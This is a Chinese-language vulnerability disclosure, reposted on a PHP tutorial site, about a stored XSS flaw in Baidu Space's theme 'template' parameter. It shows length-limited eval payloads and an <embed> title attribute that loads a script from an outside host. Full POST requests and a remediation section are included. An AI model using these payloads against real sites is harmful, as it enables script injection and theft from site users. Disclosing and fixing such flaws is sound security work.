来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 新版的百度空间有一处没有过滤导致XSS,但是可以被利用的字段,长度限制为了20个长度,去掉两端的构造字符,只有16个长度了。还是老办法,eval(X), eval(name)的方法在利用上比较间接,...
新版的百度空间有一处没有过滤导致XSS,但是可以被利用的字段,长度限制为了20个长度,去掉两端的构造字符,只有16个长度了。还是老办法,eval(X), eval(name)的方法在利用上比较间接,不做第一考虑,我们还是优先想办法找一处可以注入ID="X"的位置,然后。。。
1. 漏洞出现在新版百度空间模板的选择上。 2. 缺陷地址:http://hi.baidu.com/set/submit/theme 3. 缺陷参数: template 4. 缺陷原因: 除了限制了20个长度,未做任何输入输出过滤。 5. theme在注入自定义内容后,将在空间主页以及各文章页面内以下代码处出现。 window.CurrentApplyedTpl = '{template内容}'; 6. 基于此,我们可以构造恶意代码如下: window.CurrentApplyedTpl = '';eval(XXX)//'; //XXX表示可以被控制的变量 7. XXX 可选对象 ';eval(qUserInfo.spaceName)// <--29个长度,不可取 ';eval(M.innerHTML)// <-- 21个长度,也不行 ';eval(M.title)// <--17个长度 ';eval(M.name)// <--16个长度 ';eval(M.alt)// <--15个长度 ';eval(M.src)// <--15个长度 8. 基于以上考虑,我们就得找一个位置,可以写入id="M" 属性名="被eval的代码"。 但是经过测试,百度空间发表文章里的<img> 标签无法写入id属性。 9. 但是运气比较好的是,偶然随手测试发现<embed></embed>标签竟然可以直接使用(难道是旧版空间的残留?) www.2cto.com 运气更不错的是,<embed></embed> 还可以写入title 属性。(其它的alt,name 无法写入,src需要以http://开头) 10. 因而,我们可以构造出以下利用步骤。 利用步骤: A. POST http://hi.baidu.com/set/submit/theme POSTDATA template=';eval(M.title)//&bdstoken={my token}&qing_request_source= B. 随便发表一篇文章。POST的content内容修改为以下: POST http://hi.baidu.com/pub/submit/modifytext POSTDATA (content以外的参数省略) content=encodeURIComponent(<div><p><embed src="http://www.toolmao.com" id="M" title="(function(){var s=document.createElement('script');s.src='http://xsst.sinaapp.com/m.js';document.body.appendChild(s)})()"</p></div>) C. 那么此文章就成了一个可以用来跨站的页面了。 漏洞证明 测试平台: Win7 + Chrome, IE Chrome下的效果 IE 下的效果 修复方案: 1. http://hi.baidu.com/set/submit/theme 过滤template的内容 2. http://hi.baidu.com/pub/submit/modifytext 新版空间还用的到embed标签不?就算用的到,也可以和img一样,把id给过滤掉。 作者 gainover |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com